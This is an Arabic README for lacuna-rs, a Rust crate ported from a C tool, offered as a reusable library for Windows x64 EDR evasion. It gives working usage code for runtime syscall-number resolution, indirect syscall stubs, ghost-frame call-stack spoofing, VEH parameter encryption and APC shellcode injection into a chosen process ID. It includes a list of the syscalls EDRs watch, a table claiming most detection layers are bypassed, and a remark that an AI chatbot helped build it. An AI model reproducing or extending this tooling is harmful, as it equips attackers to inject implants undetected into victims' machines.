
مكتبة Rust لتزييف مكدس الاستدعاءات ghost-frame call-stack spoofing، واستدعاءات النظام غير المباشرة runtime indirect syscalls، وحقن APC على Windows x64. توفر حل SSN resolution، وإصدار كعب JIT stub emission، وتشفير المعلمات القائم على VEH-based parameter encryption لتجنب EDR evasion.
Ghost-frame call-stack spoofing + runtime indirect syscalls for Windows x64 — مُهاجَر إلى Rust.
مُهاجَر من LACUNA Chain (lacuna_chain.c) بقلم محمد الزهراني (0xmaz).
lacuna-rs هي حزمة Rust قابلة لإعادة الاستخدام توفر نفس الأدوات الأولية مثل TTP الأصلي بلغة C، منظمة بحيث يمكن إسقاطها في أي مشروع Rust — مثل wsyscall-rs أو syscalls-rs، ولكن مع حل أرقام استدعاء النظام (SSN) في وقت التشغيل، وتحديد syscall;ret لكل دالة على حدة، وتزوير مكدس الإطار الشبح.
ميزة
stack-spoofستفشل بصمت إذا لم يتم تجميع الحزمة المستهلكة باستخدام مؤشرات الإطار.
الأدوات الأولية لدوس المكدس في chain.rs تحدد فتحة عنوان إعادة الاستدعاء الخاصة بالمتصل عبر mov rbp, {x} inline asm. وهذا يتطلب أن تكون سلسلة RBP سليمة. تقوم Rust (ومعظم المترجمات في وضع الإصدار) بإزالة مؤشرات الإطار افتراضيًا.
build.rs يضبط force-frame-pointers=yes لتوليد الشيفرة الخاص بهذه الحزمة، لكن Cargo لا يستطيع نشر علامات المترجم إلى الحزم النهائية downstream. يجب عليك إضافة هذا إلى مشروعك الخاص:
# .cargo/config.toml (في حزمتك الخاصة، وليس في lacuna-rs)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
بدون هذا، سيعمل stomp_plant() على قراءة بيانات عشوائية من RBP وسيفشل (في أفضل الحالات) أو سيسبب تلفًا في المكدس (في أسوأ الحالات). لا يوجد طريقة للحزمة لاكتشاف في وقت التشغيل ما إذا كانت مؤشرات الإطار مفعلة — فهي ببساطة لن تعمل.
إذا كنت تحتاج فقط إلى أدوات المسح أو حل SSN أو الحقن (بدون تزوير المكدس)، يمكنك استبعاد ميزة stack-spoof وهذه المتطلبات لا تنطبق.
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
عندما لا يتم تمكين أي ميزات، تكون فقط طبقات المسح/PE/NT متاحة.
cargo run --example scan
cargo run --example verify --features stack-spoof
مثال على الحقن مع إمبلانت حقيقي - C2 كان غير متصل لكن الشيلكود نُفّذ
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>
أضف --verbose لتفعيل مخرجات VEH التشخيصية (تفريغات المكدس، طباعة المسجلات):
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose
بدلاً من وضع APCs لكل خيط في العملية المستهدفة (والذي يمكن أن يتسبب في تعطل العملية عند تنبيه عدد كبير من الخيوط في وقت واحد)، تستخدم inject_sapc خوارزمية تسجيل لاختيار أفضل MAX_APC_THREADS (5) مرشحين:
NtQueryInformationThread(ThreadCycleTime) — مؤشر النشاط الرئيسيNtQueryInformationThread(ThreadTimes) — وقت النواة + وقت المستخدمNtQueryInformationThread(ThreadSuspendCount) — الخيوط غير المعلقة تحصل على مكافأة +300؛ الخيوط المعلقة تحصل على عقوبة -150 لكل تعليقNtQueryInformationThread(ThreadBasicInformation) — الخيوط ذات الأولوية 8-10 تحصل على مكافأة +150؛ الأولويات خارج النطاق تحصل على عقوبة -100الخيوط الخاملة تمامًا (بدون دورات وبدون وقت CPU) تُتجاوز تمامًا. يتم فرز المرشحين المتبقين حسب النتيجة (الأعلى أولاً، كسر التعادل بالدورات) ويتم اقتطاعهم إلى أعلى 5.
use lacuna::{scan, nt, win::get_module};
let ntdll = get_module(b"ntdll.dll\0");
// مسح المناطق الشبح
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} منطقة شبح في ntdll", n);
// حل SSN + syscall;ret لدالة معينة
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);
use lacuna::{nt, stub, win::{get_module, HMODULE}};
let ntdll: HMODULE = get_module(b"ntdll.dll\0");
// حل SSN + عنوان syscall;ret الخاص بالدالة
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);
// إصدار كعب JIT: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (أو jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret إذا تم استدعاء build_chain)
let stub = stub::make_stub(ssn, syscall_ret).expect("فشل تخصيص الكعب");
// تحويل الكعب إلى نوع مؤشر الدالة المناسب واستدعائها
let alloc_vm: unsafe extern "system" fn(
win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };
// مسح ntdll/kernelbase/wow64/win32u للمناطق الشبح وبناء
// مكدس الاستدعاءات المزيف المكون من ست طبقات. يتم تعيين G_GHOST_GADGET
// بحيث تمر الكعوب عبر JMP [RBX] في DLL موقّع.
lacuna::chain::build_chain();
// تسجيل معالجات VEH (تشفير المعاملات + الحارس)
let _veh = lacuna::veh::VehGuard::register().expect("فشل تسجيل VEH");
// اختياري: تفعيل التشخيص التفصيلي أثناء التشغيل
lacuna::veh::set_verbose(true);
use lacuna::win::HANDLE;
use core::ptr;
let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;
// زرع إطارات شبح (يستبدل عناوين الإرجاع بأشباح من DLL موقّع)
lacuna::chain::stomp_plant();
// تسليح DR0 على syscall;ret -- سيقوم VEH بفك تشفير المعاملات عند الحدود
lacuna::veh::pcrypt_arm(key, syscall_ret, true);
// الاستدعاء عبر الكعب غير المباشر -- يهبط RIP داخل ntdll عند مدخل النواة
let _status = unsafe { open_proc(/* معاملات مشفرة XOR */) };
// يجب دائمًا نزع السلاح قبل أي استدعاء غير محمي
lacuna::veh::pcrypt_disarm();
lacuna::chain::stomp_restore();
ليست كل استدعاءات API تحتاج إلى معالجة LACUNA الكاملة. المبدأ الرئيسي هو: إخفاء الاستدعاءات التي قد يقوم برنامج EDR بربطها بنشاط حقن أو استغلال لاحق.
هذه هي استدعاءات النظام NT "الجوهرة" التي يقوم EDR بالتوصيل بها وربطها:
لكل من هذه:
nt::resolve(ntdll, b"NtXxx\0")stub::make_stub(ssn, syscall_ret)veh::pcrypt_arm(key, syscall_ret, true)chain::stomp_plant() و chain::stomp_restore()nt::resolve(ntdll, b"NtXxx\0") — يعيد (SSN, syscall_ret_VA).stub::make_stub(ssn, syscall_ret) — يعيد مؤشر دالة قابل للاستدعاء.extern "system" fn(...) المناسب عبر core::mem::transmute.chain::build_chain() واستدعِ chain::stomp_plant() / chain::stomp_restore() حول الاستدعاء.veh::pcrypt_arm(key, syscall_ret, true) قبل الاستدعاء، و veh::pcrypt_disarm() بعده.lc!() — الحزمة تفرض ذلك، والتشخيصات الخاصة بـ VEH محصورة خلف التي تكون معطلة افتراضيًا.الكعب يتعامل مع تسلسل mov r10, rcx / mov eax, SSN / jmp [syscall;ret] تلقائيًا. إذا تم تسجيل أداة شبح، يمر الكعب عبر JMP [RBX] لإعادة توجيه التنفيذ ثنائي الاستخدام + إطار جسر بدون أثر.
جميع المساهمات الرئيسية التسع من مقال LACUNA Chain ممثلة في الشيفرة:
syscalls-rs؟syscalls-rs و wsyscall-rs يولدان جدول SSN في وقت البناء من ntdll لإصدار Windows محدد. إذا كان الجهاز المستهدف يعمل بإصدار مختلف، فإن SSNs تكون خاطئة وتفشل استدعاءات النظام (أو تثير استدلالات EDR).
lacuna-rs يحل SSNs في وقت التشغيل عن طريق قراءة كعوب ntdll مباشرةً، ويستهدف تعليمة syscall;ret الخاصة بالدالة بحيث يكون RIP داخل ntdll عند مدخل النواة — مما يتجاوز استدلالات EDR لـ "عدم تطابق SSN" و"استدعاء نظام غير مباشر من ذاكرة غير مدعومة".
بالإضافة إلى ذلك، توفر lacuna-rs سلسلة تزوير مكدس الإطار الشبح التي لا توفرها syscalls-rs.
x86_64-pc-windows-msvc (أو x86_64-pc-windows-gnu)litcrypt2 (تعتيم السلاسل في وقت التجميع)stack-spoof فقط)ميزة stack-spoof تتطلب مؤشرات إطار. build.rs يضبط force-frame-pointers=yes تلقائيًا لهذه الحزمة، لكن الحزم المستهلكة يجب أيضًا أن تضبطه في .cargo/config.toml الخاص بها:
# .cargo/config.toml (في الحزمة المستهلكة)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
جميع القيم الحرفية للسلسلة في الحزمة والأمثلة ملفوفة في ماكرو lc!()، الذي يقوم بتشفيرها في وقت التجميع وفك تشفيرها في وقت التشغيل. مفتاح التشفير يُقرأ من متغير البيئة LITCRYPT_ENCRYPT_KEY؛ إذا لم يُضبط، يقوم litcrypt2 بإنشاء مفتاح عشوائي تلقائيًا.
لتثبيت مفتاح لبناءات قابلة للتكرار:
set LITCRYPT_ENCRYPT_KEY=your-secret-key
cargo build
lacuna-rs/
├── Cargo.toml
├── build.rs # ضبط force-frame-pointers لـ stack-spoof
├── src/
│ ├── lib.rs # جذر الحزمة + إعادة التصدير + scan_all() + إعداد litcrypt2
│ ├── win.rs # روابط FFI لـ Win32/NT (متوافقة مع no_std)
│ ├── pe.rs # تحليل مقاطع PE وتصديراته
│ ├── scan.rs # مسح منطقة الشبح .pdata + الأدوات
│ ├── nt.rs # حل SSN + توجيه syscall;ret
│ ├── stub.rs # إصدار كعب استدعاء نظام غير مباشر JIT
│ ├── veh.rs # VEH + تشفير المعاملات بنقطة توقف عتادية
│ ├── chain.rs # سلسلة الإطار الشبح LACUNA + الدوس
│ └── inject.rs # حقن APC عبر المقطع
├── examples/
│ ├── scan.rs # lacuna.exe scan
│ ├── verify.rs # lacuna.exe verify
│ └── inject.rs # lacuna.exe inject <pid> <sc.bin>
└── .cargo/
└── config.toml # force-frame-pointers + target windows-msvc
هذا المشروع تمت مساعدته بنشاط بواسطة chatbot ذكاء اصطناعي. أتيحت لي فرصة اختبار نموذج مفتوح المصدر جديد وقوي جدًا (GLM-5.2 بواسطة Z.ai (Zhipu AI)) وأردت تكليفه بمهمة صعبة. الدروس المستفادة: عمل بشكل جيد عندما يعرف الإنسان كيف يجب أن تبدو النتائج. إن لم يكن كذلك... فقط هراء
MIT
| أداة أولية | دالة C | وحدة Rust |
|---|
| تحليل مقاطع PE وتصديراته | pe_section()، pe_export() | pe |
مسح منطقة الشبح .pdata | scan_ghosts()، best_ghost() | scan |
اكتشاف أدوات الشبح (jmp [rbx]) | scan_ghost_gadgets() | scan |
إيجاد فجوة NOP في win32u | win32u_nop_gap() | scan |
| إيجاد مرساة BYOUD-MF | find_mf_target() | scan |
| حل SSN (Hell’s Gate / Halo’s Gate) | resolve_ssn() | nt |
مُحدّد syscall;ret الخاص بكل دالة | find_func_syscall() | nt |
| إصدار كعب استدعاء غير مباشر JIT | alloc_stub() | stub |
| إعادة توجيه كعب استدعاء أداة الشبح | (في alloc_stub()) | stub |
| تشفير المعاملات بواسطة VEH + نقاط التوقف العتادية | param_encrypt_veh()، pcrypt_arm() | veh |
| حارس سلسلة VEH | chain_veh() | veh |
| بناء سلسلة LACUNA | build_chain() | chain |
| دوس المكدس (BYOUD-RT) | stomp_plant()، stomp_restore() | chain |
| متجّول السلسلة (تحقق) | lacuna_walk_chain() | chain |
| حقن APC عبر المقطع | do_inject_sapc() | inject |
| ميزة | وصف | هل يتطلب مؤشرات إطار؟ |
|---|
syscalls (افتراضي) | حل SSN + إصدار كعب استدعاء JIT | لا |
inject (افتراضي) | حقن APC عبر المقطع (inject::inject_sapc) | لا |
veh | VEH + تشفير المعاملات بنقطة توقف عتادية | لا |
stack-spoof | سلسلة الإطار الشبح LACUNA + دوس المكدس | نعم |
no-std | وضع no_std (تجريبي) | لا |
| استدعاء | لماذا هو حساس |
|---|
NtOpenProcess | يفتح مقبضًا لعملية أخرى — الخطوة الأولى في الحقن |
NtCreateSection + NtMapViewOfSection (عن بُعد) | توقيع الحقن عبر المقطع |
NtWriteVirtualMemory | كتابة عبر العمليات — مؤشر حقن تقليدي |
NtCreateThreadEx | إنشاء خيط بعيد — أعلى أداة حقن إشارة |
NtQueueApcThread | حقن APC — إشارة عالية |
NtProtectVirtualMemory | تغييرات صلاحيات RWX — مؤشر تنظيم الشيلكود |
NtAllocateVirtualMemory (عن بُعد) | تخصيص عن بُعد — مقدمة الحقن |
NtSetInformationThread | إخفاء الخيط (HideFromDebugger) — مؤشر مراوغة |
| استدعاء | لماذا هو آمن |
|---|
NtQueryInformationThread | استعلام فقط، نادرًا ما يتم توصيله، لا كتابة عبر العمليات |
NtDelayExecution | نوم — غير ضار، تستخدمه كل التطبيقات |
NtClose | إغلاق مقبض — غير ضار، شائع جدًا |
GetModuleHandleA / GetProcAddress | حل الوحدة — ليس استدعاء نظام، لا يمكن لـ EDR توصيله في مساحة المستخدم |
CreateToolhelp32Snapshot / Thread32First / Thread32Next | تعداد الخيوط — kernel32، ليس استدعاء ntdll |
OpenThread / CloseHandle | عمليات مقبض قياسية — kernel32 |
GetThreadContext / SetThreadContext | ضروري لـ DR0 — kernel32، العملية الخاصة فقط |
set_verbose(true)| # | مفهوم المقال | موقع الشيفرة | وصف |
|---|
| 1 | BYOUD-Gap (تعديل .pdata صفري) | chain.rs — بناء سلسلة الإطار الشبح | يستغل الفجوات بين مدخلات RUNTIME_FUNCTION؛ المعالج اللولبي يعاملها كإطارات ورقة (RSP += 8) |
| 2 | هجوم نافذة APC لـ ETW-Ti | inject.rs — تصريف NtDelayExecution القابل للتنبيه | يتحكم في وقت تشغيل لقطة مكدس APC لـ ETW-Ti عن طريق معالجة حالة تنبيه الخيط |
| 3 | تشفير المعاملات في سياق BYOUD | veh.rs — pcrypt_arm()، param_encrypt_veh() | تشفير معاملات syscall بـ XOR في مرحلة التحضير؛ فك التشفير داخل VEH بنقطة توقف عتادية عند تعليمة syscall |
| 4 | سلسلة فجوات NOP في win32u + أداة الشبح | scan.rs — win32u_nop_gap()، scan_ghost_gadgets() | 1,242 فجوة NOP في win32u.dll توفر إطارات ورقية مدرجة في القائمة البيضاء؛ أداة الشبح JMP [RBX] في ntdll+0xFC47B |
| 5 | القرب الدلالي للشبح في kernelbase | chain.rs — طبقة L2_kbase بالقرب من VirtualProtect | شبح بطول 238 بايت ينتهي عند نقطة دخول VirtualProtect — لا يمكن تمييزه عن موقع إرجاع VP حقيقي |
| 6 | BYOUD-MF (نقل RSP لإطار الآلة) | chain.rs — هيكل MachFrame، scan.rs — find_mf_target() | يستغل UWOP_PUSH_MACHFRAME (رمز التشغيل 10) في موزعات KiUser* لنقل RSP عشوائي في إطار واحد |
| 7 | BYOUD-RT (حساب RSP في وقت التشغيل) | chain.rs — teb_stack_base()، teb_stack_limit() | يقرأ TEB.StackBase (GS:[0x08]) في وقت الاستدعاء لحساب المسافة الدقيقة للإطار — لا حاجة للمعايرة المسبقة |
| 8 | قرب شبح wow64.dll | chain.rs — طبقة L1_wow64، scan.rs — يستهدف Wow64PrepareForException | شبح بطول 91 بايت ينتهي عند مدخل Wow64PrepareForException — الطبقة الدلالية الرابعة للسلسلة |
| 9 | سلسلة LACUNA ذات الست طبقات | chain.rs — هيكل LacunaStack (L1-L5 + MachFrame) | السلسلة الكاملة: KiUserExceptionDispatcher -> wow64 -> kernelbase -> ntdll -> win32u -> RtlUserThreadStart |
| طبقة الكشف | الحالة | التنفيذ |
|---|
| فحص الوحدة الأصلية | تم التجاوز | جميع الإطارات في ntdll / kernelbase / wow64 / win32u |
| صحة المشي اللولبي | تم التجاوز | جميع إطارات lacuna هي أوراق -> RSP+8 صالح |
مسح .pdata الجنائي | تم التجاوز | تعديل صفري؛ الفجوات موجودة مسبقًا |
| مكدس الظل CET | تم التجاوز | سلسلة أوراق خالصة؛ مكدس الظل لا يُستشار |
| تحليل الإطارات الدلالي | تم التجاوز | استثناء WoW64 + جوار VirtualProtect |
| استثناء قاعدة win32u | تم التجاوز | الطبقة 4 مستبعدة صراحةً بواسطة جميع القواعد |
| ETW-Ti STACKWALK | تم التجاوز | هجوم نافذة APC يتحكم في توقيت اللقطة |
| فحص المعاملات | تم التجاوز | فك تشفير VEH بنقطة توقف عتادية |
| ردود نداء النواة | جزئي | عمليات المقبض لا تزال تشعل ObRegisterCallbacks |